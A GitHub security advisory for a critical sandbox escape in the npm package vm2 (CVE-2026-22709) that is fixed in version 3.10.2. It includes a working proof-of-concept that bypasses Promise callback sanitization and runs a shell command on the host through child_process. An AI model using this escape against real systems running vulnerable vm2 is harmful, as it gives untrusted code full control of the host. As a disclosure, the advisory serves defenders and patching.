GitHub Advisoryadvisory · npm
GHSA-99p7-6v5w-7xg8 vm2 has a Sandbox Escape
CRITICAL
Official page ↗
- Aliases
- CVE-2026-22709
- Ecosystem
- npm
- Packages
- vm2
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-693, CWE-913, CWE-94
- Reviewed
- 2026-01-26
Affected packages
• npm vm2: < 3.10.2 → fixed in 3.10.2
Description
In vm2 for version 3.10.0, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.
```js
const { VM } = require("vm2");
const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
const Error = e.constructor;
const Function = Error.constructor;
const f = new Function(
"process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })"
);
f();
});
`;
new VM().run(code);
```
In lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object.
Related
Alias · CVE (1)
- CVE-2026-22709 vm2 is an open source vm/sandbox for Node.js. vulnerability
References
- https://github.com/patriksimek/vm2/security/advisories/GHSA-99p7-6v5w-7xg8 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-22709 advisory
- https://github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29 web
- https://github.com/patriksimek/vm2 package
- https://github.com/patriksimek/vm2/releases/tag/v3.10.2 web